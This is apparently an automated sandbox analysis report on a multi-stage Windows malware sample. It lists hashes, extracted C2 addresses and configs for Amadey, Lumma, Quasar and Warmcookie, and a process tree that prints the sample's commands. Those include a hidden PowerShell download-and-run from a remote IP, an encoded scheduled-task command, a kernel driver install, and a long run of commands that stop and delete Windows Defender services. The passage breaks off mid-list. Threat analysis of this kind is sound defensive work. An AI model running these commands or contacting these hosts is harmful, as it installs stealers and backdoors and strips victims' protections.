Overview

overview

10

Static

static

5

2025-04-01...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/04/2025, 17:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-01_13ac84957cce7c22118dac95731264ef_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    13ac84957cce7c22118dac95731264ef

  • SHA1

    9e467a6ca8b367e576c3d8a66ea0daac4c4335b4

  • SHA256

    c4cc70527adb8bcb862c7d2a97466a6c5364206a76b140b0197fcb00304b87f5

  • SHA512

    6312fa0ccfe31d94f970f1263db0a94e176c8470c256a225cc5052c29f62e9b19803bb1bb228e94579be79f95a8addc9a23ce86470bc27e04a8d7b9193555478

  • SSDEEP

    24576:6qDEvCTbMWu7rQYlBQcBiT6rprG8a0qu:6TvC/MTQYxsWR7a0q

Score
10/10
amadeylummaquasarwarmcookie092155cyberpunkfaec90backdoorbootkitdefense_evasiondiscoveryexecutionexploitpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://navstarx.shop/FoaJSi

https://dmetalsyo.digital/opsa

https://ironloxp.live/aksdd

https://starcloc.bet/GOksAo

https://advennture.top/GKsiio

https://-targett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://targett.top/dsANGt

https://hadvennture.top/GKsiio

https://anavstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

https://atargett.top/dsANGt

Extracted

Family

amadey

Version

5.33

Botnet

faec90

Attributes
  • install_dir

    52907c9546

  • install_file

    tgvazx.exe

  • strings_key

    cc9d94f7503394295f4824f8cfd50608

  • url_paths

    /Di0Her478/index.php

rc4.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

CyberPunk

C2

dakar.wohowoho.com:443

dakar.wohowoho.com:80

206.206.76.75:443

206.206.76.75:80

62.60.226.176:80

62.60.226.176:443
Mutex

5e809a5b-bb22-41b6-af20-5285e99040d3

Attributes
  • encryption_key

    A98DEEE2D49BDF1C5183B3079E9B28E281586F6F

  • install_name

    chrome.exe

  • log_directory

    Logs

  • reconnect_delay

    30000

  • startup_key

    GoogleChrome

  • subdirectory

    Google\Chrome

Extracted

Family

warmcookie

C2

192.36.57.50

Attributes
  • mutex

    62580f79-f0e4-46c9-9fe6-041328dce2b7

  • user_agent

    Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Warmcookie family
    warmcookie
  • Warmcookie, Badspace

    Warmcookie aka Badspace is a backdoor written in C++.

    backdoorwarmcookie
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 17 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 46 IoCs
  • Identifies Wine through registry keys 2 TTPs 8 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 29 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious use of SetThreadContext 20 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 24 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 63 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 54 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2544
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:528
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:6264
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5132
    • C:\Users\Admin\AppData\Local\Temp\2025-04-01_13ac84957cce7c22118dac95731264ef_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
      "C:\Users\Admin\AppData\Local\Temp\2025-04-01_13ac84957cce7c22118dac95731264ef_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:5528
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn R5ifgma6ZoY /tr "mshta C:\Users\Admin\AppData\Local\Temp\GAyYH0qN1.hta" /sc minute /mo 25 /ru "Admin" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2948
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn R5ifgma6ZoY /tr "mshta C:\Users\Admin\AppData\Local\Temp\GAyYH0qN1.hta" /sc minute /mo 25 /ru "Admin" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3436
      • C:\Windows\SysWOW64\mshta.exe
        mshta C:\Users\Admin\AppData\Local\Temp\GAyYH0qN1.hta
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4000
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'O31W2T6IPMNEAMGWUKE2WQIBPORLHILF.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4596
          • C:\Users\Admin\AppData\Local\TempO31W2T6IPMNEAMGWUKE2WQIBPORLHILF.EXE
            "C:\Users\Admin\AppData\Local\TempO31W2T6IPMNEAMGWUKE2WQIBPORLHILF.EXE"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3496
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5668
              • C:\Users\Admin\AppData\Local\Temp\10398310101\XOPPRUc.exe
                "C:\Users\Admin\AppData\Local\Temp\10398310101\XOPPRUc.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:5688
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5084
              • C:\Users\Admin\AppData\Local\Temp\10404930101\PQPYAYJJ.exe
                "C:\Users\Admin\AppData\Local\Temp\10404930101\PQPYAYJJ.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4360
                • C:\Users\Admin\Abspawnhlp.exe
                  "C:\Users\Admin\Abspawnhlp.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:2392
                  • C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                    C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                    8⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of WriteProcessMemory
                    PID:2464
                    • C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                      C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                      9⤵
                      • Downloads MZ/PE file
                      • Checks computer location settings
                      • Loads dropped DLL
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      • Modifies registry class
                      • Suspicious use of WriteProcessMemory
                      PID:1424
                      • C:\Windows\SysWOW64\msiexec.exe
                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\10000910271\FRDKTUCO.msi" /quiet
                        10⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6060
                      • C:\Users\Admin\AppData\Local\Temp\10000920101\LXUZVRLG.exe
                        "C:\Users\Admin\AppData\Local\Temp\10000920101\LXUZVRLG.exe"
                        10⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:4616
                        • C:\Users\Admin\Abspawnhlp.exe
                          "C:\Users\Admin\Abspawnhlp.exe"
                          11⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: MapViewOfSection
                          PID:4532
                          • C:\Users\Admin\Abspawnhlp.exe
                            C:\Users\Admin\Abspawnhlp.exe
                            12⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            PID:5936
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\SysWOW64\cmd.exe
                            12⤵
                            • System Location Discovery: System Language Discovery
                            PID:4508
                      • C:\Users\Admin\AppData\Local\Temp\10000930101\890172171_x64.exe
                        "C:\Users\Admin\AppData\Local\Temp\10000930101\890172171_x64.exe"
                        10⤵
                        • Executes dropped EXE
                        • Drops file in Windows directory
                        PID:4264
                      • C:\Windows\SysWOW64\msiexec.exe
                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\10000950271\UVXEUGTZ.msi" /quiet
                        10⤵
                        • System Location Discovery: System Language Discovery
                        PID:4576
                      • C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                        "C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe"
                        10⤵
                        • Executes dropped EXE
                        PID:5880
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 5880 -s 80
                          11⤵
                          • Program crash
                          PID:1324
                      • C:\Windows\SysWOW64\msiexec.exe
                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\10000970271\NBFRPMVB.msi" /quiet
                        10⤵
                        • System Location Discovery: System Language Discovery
                        PID:4688
                      • C:\Users\Admin\AppData\Local\Temp\10000980101\IEYKSCXV.exe
                        "C:\Users\Admin\AppData\Local\Temp\10000980101\IEYKSCXV.exe"
                        10⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:4368
                      • C:\Users\Admin\AppData\Local\Temp\10000991101\KRWXARXD.exe
                        "C:\Users\Admin\AppData\Local\Temp\10000991101\KRWXARXD.exe"
                        10⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:6008
                        • C:\Users\Admin\CamMenuMaker.exe
                          "C:\Users\Admin\CamMenuMaker.exe"
                          11⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: MapViewOfSection
                          PID:2408
                          • C:\Users\Admin\CamMenuMaker.exe
                            C:\Users\Admin\CamMenuMaker.exe
                            12⤵
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: AddClipboardFormatListener
                            PID:4976
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwB3AGkAdwBlAHIANwAuADUALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAdwBpAHcAZQByADcALgA1AC4AZQB4AGUAJwApACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ATwBuAGMAZQAgAC0AQQB0ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AUgBlAHAAZQB0AGkAdABpAG8AbgBJAG4AdABlAHIAdgBhAGwAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBNAGkAbgB1AHQAZQBzACAANQApACkAIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0AUwBlAGMAbwBuAGQAcwAgADAAKQAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAKQAgAC0ARgBvAHIAYwBlAA==
                              13⤵
                              • Command and Scripting Interpreter: PowerShell
                              • System Location Discovery: System Language Discovery
                              PID:4676
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\SysWOW64\cmd.exe
                            12⤵
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            PID:6368
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\SysWOW64\cmd.exe
                      9⤵
                      • Drops file in Windows directory
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:980
              • C:\Users\Admin\AppData\Local\Temp\10405770101\h8NlU62.exe
                "C:\Users\Admin\AppData\Local\Temp\10405770101\h8NlU62.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:5356
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                    PID:1528
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2332
                • C:\Users\Admin\AppData\Local\Temp\10405830101\NHq7LaU.exe
                  "C:\Users\Admin\AppData\Local\Temp\10405830101\NHq7LaU.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4520
                  • C:\Windows\SYSTEM32\schtasks.exe
                    "schtasks" /create /tn "GoogleChrome" /sc ONLOGON /tr "C:\ProgramData\Google\Chrome\chrome.exe" /rl HIGHEST /f
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4208
                  • C:\ProgramData\Google\Chrome\chrome.exe
                    "C:\ProgramData\Google\Chrome\chrome.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:5792
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "GoogleChrome" /sc ONLOGON /tr "C:\ProgramData\Google\Chrome\chrome.exe" /rl HIGHEST /f
                      8⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4100
                • C:\Users\Admin\AppData\Local\Temp\10405940101\qWR3lUj.exe
                  "C:\Users\Admin\AppData\Local\Temp\10405940101\qWR3lUj.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1440
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                      PID:5496
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                      7⤵
                        PID:2416
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5480
                    • C:\Users\Admin\AppData\Local\Temp\10407580101\HAe88WC.exe
                      "C:\Users\Admin\AppData\Local\Temp\10407580101\HAe88WC.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:3112
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:876
                    • C:\Users\Admin\AppData\Local\Temp\10407870101\apple.exe
                      "C:\Users\Admin\AppData\Local\Temp\10407870101\apple.exe"
                      6⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:3864
                      • C:\Users\Admin\AppData\Local\Temp\261.exe
                        "C:\Users\Admin\AppData\Local\Temp\261.exe"
                        7⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:2252
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D6B4.tmp\D6B5.tmp\D6B6.bat C:\Users\Admin\AppData\Local\Temp\261.exe"
                          8⤵
                            PID:4588
                            • C:\Users\Admin\AppData\Local\Temp\261.exe
                              "C:\Users\Admin\AppData\Local\Temp\261.exe" go
                              9⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:4340
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D76F.tmp\D770.tmp\D771.bat C:\Users\Admin\AppData\Local\Temp\261.exe go"
                                10⤵
                                • Drops file in Program Files directory
                                PID:5388
                                • C:\Windows\system32\sc.exe
                                  sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                                  11⤵
                                  • Launches sc.exe
                                  PID:4976
                                • C:\Windows\system32\sc.exe
                                  sc start ddrver
                                  11⤵
                                  • Launches sc.exe
                                  PID:4228
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 1
                                  11⤵
                                  • Delays execution with timeout.exe
                                  PID:6044
                                • C:\Windows\system32\sc.exe
                                  sc stop ddrver
                                  11⤵
                                  • Launches sc.exe
                                  PID:5384
                                • C:\Windows\system32\sc.exe
                                  sc start ddrver
                                  11⤵
                                  • Launches sc.exe
                                  PID:4484
                                • C:\Windows\system32\takeown.exe
                                  takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                                  11⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:4844
                                • C:\Windows\system32\icacls.exe
                                  icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                                  11⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:1740
                                • C:\Windows\system32\sc.exe
                                  sc stop "WinDefend"
                                  11⤵
                                  • Launches sc.exe
                                  PID:456
                                • C:\Windows\system32\sc.exe
                                  sc delete "WinDefend"
                                  11⤵
                                  • Launches sc.exe
                                  PID:5976
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                                  11⤵
                                    PID:5220
                                  • C:\Windows\system32\sc.exe
                                    sc stop "MDCoreSvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:2484
                                  • C:\Windows\system32\sc.exe
                                    sc delete "MDCoreSvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:3300
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                                    11⤵
                                      PID:5632
                                    • C:\Windows\system32\sc.exe
                                      sc stop "WdNisSvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:528
                                    • C:\Windows\system32\sc.exe
                                      sc delete "WdNisSvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:2904
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                      11⤵
                                        PID:1700
                                      • C:\Windows\system32\sc.exe
                                        sc stop "Sense"
                                        11⤵
                                        • Launches sc.exe
                                        PID:6012
                                      • C:\Windows\system32\sc.exe
                                        sc delete "Sense"
                                        11⤵
                                        • Launches sc.exe
                                        PID:4140
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                        11⤵
                                          PID:2656
                                        • C:\Windows\system32\sc.exe
                                          sc stop "wscsvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:1528
                                        • C:\Windows\system32\sc.exe
                                          sc delete "wscsvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:1976
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                          11⤵
                                          • Modifies security service
                                          PID:2500
                                        • C:\Windows\system32\sc.exe
                                          sc stop "SgrmBroker"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2368
                                        • C:\Windows\system32\sc.exe
                                          sc delete "SgrmBroker"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2416
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                          11⤵
                                            PID:5068
                                          • C:\Windows\system32\sc.exe
                                            sc stop "SecurityHealthService"
                                            11⤵
                                            • Launches sc.exe
                                            PID:4808
                                          • C:\Windows\system32\sc.exe
                                            sc delete "SecurityHealthService"
                                            11⤵
                                            • Launches sc.exe
                                            PID:4820
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                            11⤵
                                              PID:2192
                                            • C:\Windows\system32\sc.exe
                                              sc stop "webthreatdefsvc"
                                              11⤵
                                              • Launches sc.exe
                                              PID:4332
                                            • C:\Windows\system32\sc.exe
                                              sc delete "webthreatdefsvc"
                                              11⤵
                                              • Launches sc.exe
                                              PID:1780
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                              11⤵
                                                PID:2028
                                              • C:\Windows\system32\sc.exe
                                                sc stop "webthreatdefusersvc"
                                                11⤵
                                                • Launches sc.exe
                                                PID:2336
                                              • C:\Windows\system32\sc.exe
                                                sc delete "webthreatdefusersvc"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4864
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                                11⤵
                                                  PID:5652
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "WdNisDrv"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:1792
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "WdNisDrv"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:3608
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                                  11⤵
                                                    PID:4712
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "WdBoot"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:4952
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "WdBoot"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:4916
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                    11⤵
                                                      PID:4664
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "WdFilter"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:4312
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "WdFilter"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:5444
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                      11⤵
                                                        PID:4912
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "SgrmAgent"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:1652
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "SgrmAgent"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:5036
                                                      • C:\Windows\system32\reg.exe
